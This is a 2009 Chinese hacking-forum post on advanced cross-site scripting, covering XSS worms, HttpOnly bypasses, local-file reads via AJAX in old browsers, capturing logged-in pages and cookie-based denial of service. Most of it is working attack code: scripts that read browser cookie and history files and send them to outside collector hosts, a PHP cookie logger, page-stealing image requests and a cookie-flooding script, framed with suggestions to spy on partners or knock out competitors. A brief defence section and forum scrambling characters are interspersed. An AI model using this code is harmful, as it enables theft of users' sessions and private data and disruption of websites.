XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
* q: C; D" H3 b$ e9 _By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
! Q- m; Q& U! v: C
+ K; n0 T6 I( X
5 T: q6 [7 E( w: \& ]+ I; g' T% f
-------------------------------------------前言---------------------------------------------------------

) V' F( L, ^2 R% n
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
9 S% o  e6 n8 j7 g. j
. l2 y, w* k2 V& R+ _, k
# w8 X, e( U! x4 r如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
% F/ K$ W( H6 J2 o$ S8 N* Lhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
3 y3 r$ n% h4 g4 y" t0 i4 |4 \  hhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
6 _# O- l2 H' r$ B# D2 E/ z& v2 _http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
  O5 S/ D: i3 @http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
* Q( c( `  T# x% e1 w* ?


$ i5 L% K0 c1 s# N
) E, a4 [3 [' ^  ?如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

) M' V* l* H) d0 C! V& \1 ]希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
9 p& M+ G4 i& n2 e
* T5 f7 U3 O! L+ N1 X如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
$ u0 `- g8 @, `9 y9 ^. L( I& ?
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
2 V( F+ ^- N' D4 v& |
) p0 I  |6 r. a8 l( G0 WQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
5 n: O( m# B5 O8 N9 U- i( i/ g) W6 H
..........
/ q; M0 j* y8 b& ^! l1 g6 S4 ^- d复制代码------------------------------------------介绍-------------------------------------------------------------
0 w& r$ S& f8 C" [6 j( w/ z
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
# B5 d0 }' {: j% j. v( c  [
( Q2 g: @! H% l

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
( R2 G  S3 L* j8 o4 I; T) f+ i- e5 X复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
. w1 @2 Q4 L& Y3 A' X3 |$ ?  t/ E# w我们在这里重点探讨以下几个问题:

! e* H: q' i$ D% f# y  E# d1        通过XSS,我们能实现什么?
4 C' d# x; H& r* r+ s$ |! j
4 n! I0 V) ?3 d  P- |- Y' d2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

  ]& g; E3 o  Y7 Y3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
' Z% n2 u0 K9 G" C
: N* _7 b4 W! _2 ]0 ]9 }2 F9 l8 A4        XSS漏洞在输出和输入两个方面怎么才能避免.


- m$ `/ j+ C  p
) o2 G4 W" c; E0 E' C------------------------------------------研究正题----------------------------------------------------------

3 i$ d! ]4 ~$ u0 F$ m

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
0 r/ @- [8 q$ d0 x& F$ |/ h' _* g复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
9 Q% b, L) f5 O7 ~! a  p3 G1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
* [7 Y5 c7 h! Q- e6 B" t2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
& y0 e) M9 G3 _' ]. b4:Http-only可以采用作为COOKIES保护方式之一.



, u6 T0 j) J$ W1 ~4 ?4 H

+ S# @! S+ O" z(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
& M" M; d& D1 f: s
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)



9 Q$ `' b5 v$ g8 |/ [    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

  _" O6 r  X7 m
6 H- \% u6 x9 X
% Z3 @! i( R9 D7 L- l    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

1 u" Y8 o. F' r3 [

    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
! f6 T. P+ }) x* \- w6 G4 C8 d复制代码IE6使用ajax读取本地文件    <script>
: ]* n4 G  d( _/ C* n1 i
    function $(x){return document.getElementById(x)}
2 i6 k3 F, C5 B+ k$ ~4 Q


    function ajax_obj(){

/ W* k) v1 l  K$ c6 {9 P1 a    var request = false;

/ x& Z! n3 C8 A- j- \+ T+ J    if(window.XMLHttpRequest) {

; o; X" }2 h) \% \    request = new XMLHttpRequest();
$ |0 R% P+ D8 P. H
. h! a5 s! S( A) J5 C" ]    } else if(window.ActiveXObject) {

0 L. k2 h# {9 P8 S3 K' O- n    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

1 o% c% i$ M% q3 ~
/ n* p5 [7 @, l! W- T
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
0 D" B* o1 J9 U1 ]
    try {
* j/ a( e; q  V
/ T- A" [+ a: N( @+ p  @/ U    request = new ActiveXObject(versions);

" ^  v: f9 |' G& C- [3 `& |    } catch(e) {}

    }

    }
& o# N7 e6 H: a4 r5 D$ I5 A6 z+ i( n: [
    return request;
! D( n7 @& S- z3 k# P) S' i; U8 U$ y* r
    }
# b/ L+ P4 N$ j# S
0 |- C- p& o8 L6 W: ]1 [. A. u    var _x = ajax_obj();
, p- x! w/ o4 n! `3 ?- C2 e$ c; ^7 f
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
. y' k4 e2 T7 s
3 n+ O1 y! g( O3 S& q/ p+ e    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- q* o$ A- z) a3 F( L" a7 [1 M
    _x.send(argv);
; [- `' o$ s7 H; p4 J
& S2 W" ^! F" R6 K7 M  Q7 _/ T7 p$ v    return _x.responseText;

" o& z9 [4 ~0 v) k8 L! a    }

) J' j$ E- t4 O8 K6 Q5 S( h

4 D4 D* S: J7 [$ q, L7 \8 h    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

, ~( _: N8 {2 P/ b/ r% W0 r- ~    alert(txt);

1 U" z% d) @3 O

    </script>
/ I$ |* Z, x  T; z复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
& y; U2 u8 a- [6 e* R& _
    function $(x){return document.getElementById(x)}



/ {1 a  p, h3 Y" W) h    function ajax_obj(){

    var request = false;

. Q  U' Z% ]9 ~: w4 ^! _- U# O    if(window.XMLHttpRequest) {

/ X8 p2 E5 D* B# D4 T! m    request = new XMLHttpRequest();
7 h8 C& G% b$ s5 ]( C; f. G
/ l1 w: |% l. b; _& I0 P    } else if(window.ActiveXObject) {
+ {! o3 h+ F! T4 ?. g! X
, M: C6 Q% L1 c5 U    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



- q5 |& |! e% L9 C    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
: X& K! D6 i( c. ?* Y; \
    try {

/ h% J" ?7 ?4 `  g8 N7 H0 P    request = new ActiveXObject(versions);
; z, n% h3 A; V) Y4 u0 C' ?
    } catch(e) {}

    }
( f% `4 l) u. i
    }

    return request;
$ @; a6 p1 V" I$ ~5 a$ j, |0 h
    }
* R& T/ Q5 b1 U+ O/ \: |
) u1 A9 M( f7 Q3 T1 k3 D    var _x = ajax_obj();

    function _7or3(_m,action,argv){
, \5 j% a+ f( X* M2 O
    _x.open(_m,action,false);

2 Y7 ?: E# e  ?+ d, ]$ l+ b. Z    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

, j, c9 P& z7 \6 _  h9 w    _x.send(argv);

! ^. @4 b7 T3 y" w& ~    return _x.responseText;
8 z# l! G0 r5 c; L. Y: ^. u
    }
1 T; `0 ]$ r0 W/ a, q


  l$ ]3 ]1 D4 r. T" K' a' b* z( z    var txt=_7or3("GET","1/11.txt",null);
; \% o; V: R) y- J$ }3 A0 e- n
    alert(txt);
/ n; R: ?- e) b& e  b0 [; B


    </script>
) I& I" q3 A! K! R4 `; d复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



) q* v- z+ \$ w6 M( b1 d4 AChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
8 b' O/ B' k' g
& |8 B& U5 b) {+ R+ E  Q" b

<?   

/*  
0 j! ^9 b( `7 O0 Q
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
1 v8 p' r9 ]' x; h+ W% z+ y! {
. P' {8 {0 \9 R" S2 ^! |8 }     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
9 r, c0 c2 R8 h' s* m4 P
* o# M. B, r( h. _*/  
& w2 K/ w' s8 X9 @
header("Content-Disposition: attachment;filename=kxlzx.htm");   

2 N8 A% p* \" j  U  W2 gheader("Content-type: application/kxlzx");   

/ T  `7 {/ X  [8 E5 V( C/*  

& f- |) W1 E% I9 c1 D) _     set header, so just download html file,and open it at local.  
, f( z3 N1 Z4 m5 P0 F3 n# j% ?
*/  

2 n1 {0 @7 B1 L% X1 p7 X  r0 g" m?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

# }! u5 A+ f, I( N( v4 D/ `     <input id="input" name="cookie" value="" type="hidden">   
; y6 D5 r0 F. j, d
. M4 p% R" B3 v; Q' B</form>   

% f' \5 a6 v6 B  w<script>   

function doMyAjax(user)   

{   

var time = Math.random();   
) J9 _( w: x7 V
/*  

, P; W6 u9 F! I/ N' c, Ithe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
0 C. J+ L+ s/ ]  o- I& I
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

*/  

3 `* P. e  a* ^, d4 \var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

8 o% J) V8 t0 j# N   

startRequest(strPer);   
! y( Z: r3 P$ p. y" l
; P: H& T$ y9 c; U

}   

   

0 x& Z6 b. ]  z  m2 w$ O. `- Sfunction Enshellcode(txt)   
! L: V, L1 |6 D  U1 E
2 Z% |% z- {' z; x$ _# D' v{   
8 j( t8 {/ v& _, w
var url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   
" b9 C$ t# \' o$ m
6 B$ Q; |8 ^7 b; I7 lfor(;i<l;i++){   

9 L; i; [6 O& i" o# Y2 K2 mk=url.charCodeAt(i);   
: ~7 E+ A$ G/ G% z5 \& s1 M. |8 B
& \! Y0 D' R4 d8 b& J' i; ?if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
- X+ @" l! L" k% }1 H0 D
return curl;   

}   
1 X1 B7 _/ P3 G$ l  F/ i; M, }
. T# U$ a7 [& g   
8 W  }+ ]% c- }, \; S
4 P6 n. D5 c$ I/ h) {2 {: B% K# ~   

var xmlHttp;   

function createXMLHttp(){   

     if(window.XMLHttpRequest){   
; S! J2 B" l9 @. s8 D7 n7 H
xmlHttp = new XMLHttpRequest();           

     }   
+ C. y- N+ @& C2 h
& M% @/ Y1 y- H     else if(window.ActiveXObject){   
/ i0 T3 Q% B+ _1 E) v3 L
  a: Z  ?) l1 A. K2 y  ~4 I8 T4 bxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

, i2 u0 m4 w- L     }   

% |  z2 @! U! S, h}   

: f, ~- w% t+ J! Q   
% D+ M! G6 R* V& x) R1 L5 t9 s
, j; V. p6 b' z! l. gfunction startRequest(doUrl){   
  U7 H5 U- \+ e2 @
+ K! t- X/ l$ \! H& J$ @( a   

8 x# e9 E: s: ]3 Q5 ~     createXMLHttp();   
5 Z$ ~  _$ a( i9 D


" V* }7 H8 m$ p) p& C$ m     xmlHttp.onreadystatechange = handleStateChange;   
4 p( ~  Y! r/ e# U


     xmlHttp.open("GET", doUrl, true);   

$ N4 f) y8 A7 O

0 \+ I! Z$ a1 A  O& r" G     xmlHttp.send(null);   

- {1 ]' Y. T4 N# v
( |' U& @* c. }& p1 m
- F9 r: D2 a" v( \* b

}   
* ~+ f0 |. {% I  V
3 w; f- R7 \* Y' I) T. v   

7 U0 S: Y6 Q8 p; ]% Tfunction handleStateChange(){   
& X: B* H4 D8 A0 ~; R5 ?) y5 |7 e
% E+ N; n/ `% |* G0 g  W     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   
$ d2 \# V; i& h" J; W  q
% e' q0 Y' R& \# H2 X     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
, U3 J; {- J: x
4 W0 I/ [; b6 z) T+ I' F( c; x        

     }   
8 o6 d! _8 v# p
}   

   

   

: g+ [& w$ E5 u7 x7 m7 E& Mfunction framekxlzxPost(text)   
; W7 w$ w5 [# E, {
{   
3 y& U. Q* A. o6 k
     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

1 z& u  @) T9 e2 o1 N9 V5 d}   

  ^7 t' u$ H) p( i8 E8 F! h6 ~8 S   

4 e9 N% A7 E+ p3 R: o* b7 u4 AdoMyAjax("administrator");   

   
  V9 f7 D& c" y1 q  V) E
7 f, e" T( ?. y$ z/ c+ W6 [</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
9 Y0 [5 J/ f8 r* d2 S
var xmlHttp;  
3 q! A7 ^" V: p- I& t1 d
8 w9 `. `9 Y  Q( B  I# v4 W/ O$ hfunction createXMLHttp(){  

9 V! P4 t3 ~4 a* o     if(window.XMLHttpRequest){  
# {! m7 k, I9 {  z+ c
4 [3 F# |  O/ h& [5 ]  {         xmlHttp = new XMLHttpRequest();         
$ J2 k7 \3 O% ^% s
     }  
! A3 O% q+ U7 k8 y* [) |
4 b- t& V' Z! E7 t% \     else if(window.ActiveXObject){  

         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  
/ |  K, M( V2 i
) Q& v. L3 Y  y2 {  u2 \}  

# T, W0 E& y* ]( q0 m4 y; |5 ]   
6 r% ]6 Q7 ?* j5 z
function startRequest(doUrl){  

( N  R4 i' Z/ X! u: A  H5 H! u7 B           
- r" z- E  P9 u$ e
     createXMLHttp();  
9 _( b- u3 v/ O$ j# G
      
8 r* h4 D) c& w( a: I+ R
     xmlHttp.onreadystatechange = handleStateChange;  
: J) m! U8 K6 f3 V( b2 ?
      
1 w' F2 g# z7 l- W/ b
- l  J! C2 Q% E" r. t8 e     xmlHttp.open("GET", doUrl, true);  
' R" Z4 q9 O$ T% ^/ E. x5 [, J
      

     xmlHttp.send(null);  
/ {/ ^3 J  T, y# ~! |# s1 h8 ?
      
; w5 @% o7 j; ?
. x6 t, {/ M: I4 b2 G" n      

4 g+ Y4 u/ v, e: K$ z}   
, j4 n/ W& @2 f' s+ C" ^. Q
   

function handleStateChange(){  
9 n+ ?8 V" I% k
* j9 _: ~7 G  g% S     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
0 K0 G# b! S" i8 Y0 m1 h7 f! Y
6 H/ z8 u! k  y' k; f9 U4 o5 g! V) b             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

! X7 _6 q9 J, [     }  

}  

   

- r) ]! x* i" g  d" T2 ?function doMyAjax(user,file)  

/ r( L2 V4 @, A6 O1 R# M{  

         var time = Math.random();  

           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           

         startRequest(strPer);  

. U1 N# k, F& r+ @9 _. a2 ^) ~      
5 c4 z2 ]. E7 c# x/ m3 C/ H$ g
; @" P; s- G4 ^/ v}  
9 v- L1 M: r1 }) v# F2 N
   

# A& ^% ~) \' |function framekxlzxPost(text)  

/ f0 v  Q& b; P4 e0 K- B! e9 I{  
" e! C3 e/ J! C7 Q- @! t
/ H% `8 T7 s; a! _" n) Q! A) X     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
- S/ X6 b2 M# C
" D  S+ |$ W1 K5 Y     alert(/ok/);  
1 s3 }0 D' Q1 Y3 G# T  K# x
}  

   

doMyAjax('administrator','administrator@alibaba[1].txt');  
2 o4 W- ~' s4 Z- q/ X
   
+ q7 |- I0 I" J* f- t
</script>

' s0 I% ~1 K+ z/ E2 O, U( g) _- Q
% T. n4 F, x: b6 F7 W
1 l, Z+ ]6 }! z) D( z

# |7 M+ R/ p$ _& r3 k' z1 Pa.php


4 N9 J4 ^# z$ G! y+ [. J1 _8 L8 k1 ]
<?php      

   
* n- R& t1 H  E7 C
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
& L- ]8 a) n- M# J$ {6 u  a3 K2 G7 k
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
, z# i- M2 _* o. ^
  
2 v, u6 a: P. o: P/ e  p% |
/ e, X6 d' `, S$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
; U4 C8 n' s# y, Q
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   

?>
3 Q2 K9 f% Y7 ?, A* e1 s+ u复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
7 j3 Y# C$ x% T/ `' V
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

5 ]: u  F% [( ?# f& V* P代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

+ ^7 o/ v" d/ o& ]% z5 O4 e& U//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

8 B1 k7 N( E1 k' M9 r: j$ }//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
5 B3 A% A+ B$ f( M$ C7 M9 F
  m& L$ ?7 _4 R  J7 L6 `var image = new Image();

image.style.width = 0;
7 `; L' }! c2 h; \* A* h  Q8 v
& V# G! I4 G- _4 H6 b0 u% fimage.style.height = 0;

image.src = s;
9 {+ R4 f" c5 K9 k
# D9 b* y2 i, p) b/ A' \! b}

getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
8 }) X4 r* H3 R; i/ V, [! Z* e5 t复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

/ z/ Y% H+ o7 X% uvar str = "";

while (str.length < 4000){

    str += metastr;

% |% n* Y6 u% l9 ?}
  m9 g- V- V/ e4 T
; p3 B9 d  M( h% r) v; {: i' ^
  ]; e# g1 b1 ~, [+ j4 q" E  {+ _
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

9 i: ^9 n/ i% i* Y# B</script>

6 h$ {. i' `( x) ~1 i详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
, e1 b, _, M- u8 Kserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

, B8 ~/ V$ \! t" P假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
) t/ T7 w* y$ X2 I. m4 g# L1 r攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

6 O  u/ I, L# T3 e


0 R, f8 I, M) ^* b  V2 m  N# r, D

(III) Http only bypass 与 补救对策:
; K% i: N6 U) N0 N) n* r7 V
2 M8 v6 g. u" o8 o7 w" P什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
- U/ s! H) s  O3 f: T
7 A0 D) B2 E! E* ]/ I( J; [; Z9 X2 Q<!--
0 L* j* @0 g3 y
1 T: ]4 b/ U3 ^+ j( W+ P/ Lfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

8 a8 p( Q# g3 q/ s}


# F; E$ s$ u( A4 w5 R


function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}

2 K7 J# |( ~3 Z8 i0 M% E
' z/ l) t6 \. @( ^4 R: R
//-->
3 ^! P/ e3 I+ U. p
6 r4 N* ?2 a3 Y4 I, ]& ?</script>
; N1 W# A+ ?# B: x/ I1 _7 c' {$ ]( r

  [2 E) l' b: l$ Q4 Y
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
: W# d! s/ a* v( |复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

3 j# ^9 R/ U4 a8 f& B

( e& y' A4 ?4 p+ ~4 nvar request = false;

        if(window.XMLHttpRequest) {

$ o: w, m" H( t* t            request = new XMLHttpRequest();

5 a* V$ T% t9 _- N( v            if(request.overrideMimeType) {

5 n" `7 r" ?& d5 Q                request.overrideMimeType('text/xml');

            }
; Z( K2 g  g. j; ?. @2 ~& r
; J# t+ Z6 q0 `7 j0 R  G: O        } else if(window.ActiveXObject) {
* ^4 ?7 F; ~! w( d. `6 e
  H* u7 j! U5 ]& F  h  L            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; s+ n. c7 w0 {6 O+ ~) `
3 L. P' G/ Y. I2 x- B8 e            for(var i=0; i<versions.length; i++) {

                try {

                    request = new ActiveXObject(versions);

/ Z; S) I4 L; _& R7 a                } catch(e) {}
( Q/ p+ ]: G3 n" ~
! H4 |* ]0 n3 T& p            }

        }

xmlHttp=request;

- j) E- }- Z+ E# p! B% C2 pxmlHttp.open("TRACE","http://www.vul.com",false);

, P0 N2 G, @. `* @xmlHttp.send(null);
$ \+ f* O* P# |" R; `. _5 ^' X
2 g) U3 H8 `( i5 SxmlDoc=xmlHttp.responseText;

$ l3 \3 ]1 P" o* T) ^. }alert(xmlDoc);
' h5 R6 u; L$ F4 U2 Q4 o
: G  T5 P2 T' |4 K" N</script>
& r, R  Y7 q, @  r复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

- \. O' ]" v0 f7 i/ v2 W4 i' Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
+ v, x. k) H' T1 g, [* U
/ ^; p# j6 ]5 K6 P9 k* MXmlHttp.open("GET","http://www.google.com",false);
# C" b  ~" y7 s  Q: C  U* a
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

* i) A: W1 b4 y1 \6 Y+ S! H; MXmlHttp.send(null);

var resource=xmlHttp.responseText
6 T( A* I& x  P! t3 g
/ v/ C- S# T& v% k- i- Tresource.search(/cookies/);

; k- i! s/ e2 f/ _( b2 T% O/ w......................

  J8 R) B+ B- Q</script>

! l; t$ w  b) f* k  _& s



3 a$ h; B  o, x/ Y! _如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]
8 H  @" i6 a7 S( l) }! u+ E
# y1 I  ?) z) x8 `8 t* [RewriteEngine On
+ P1 G/ f2 C5 f
6 I* J8 u% R. w3 }7 [9 Z8 tRewriteCond %{REQUEST_METHOD} ^TRACE

* V; u$ s) V# H) z0 v8 J. w8 u2 gRewriteRule .* - [F]

9 k0 \, B- t6 z& O0 B
9 y9 k9 {  }0 u9 O6 w1 i7 g7 r
2 |, @2 y# D! L9 Q- }; P7 i- r& ?Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE

...

http_access deny TRACE
/ N% G9 s8 m- h6 i* v复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

5 H" z! j1 z& X4 ]: f/ e# P7 ]var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
. t% t& y5 ]9 E* J# ^* A  }, G
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
& q; ?* m( m7 T4 v/ b* v
5 o1 T6 O9 p8 b# S7 q5 q/ y- t</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
: V3 h& [  k8 i$ b" B
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
8 U& I& w5 v6 B7 i. R# ], c
" H/ u( a7 B7 R" d1 y
" u4 C8 Y; ^0 _/ ]. n
8 b/ o6 Y$ R7 c. t! SXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

; D* W+ v$ q4 z; ?% B' T<script>
# I4 F) j/ C  r! c( E复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
; W) d6 n: s+ H% n! q! F/ I复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
/ R- s; g0 I" l& J) T
6 天前 08:27
* [- t0 R$ V" Z3 Q
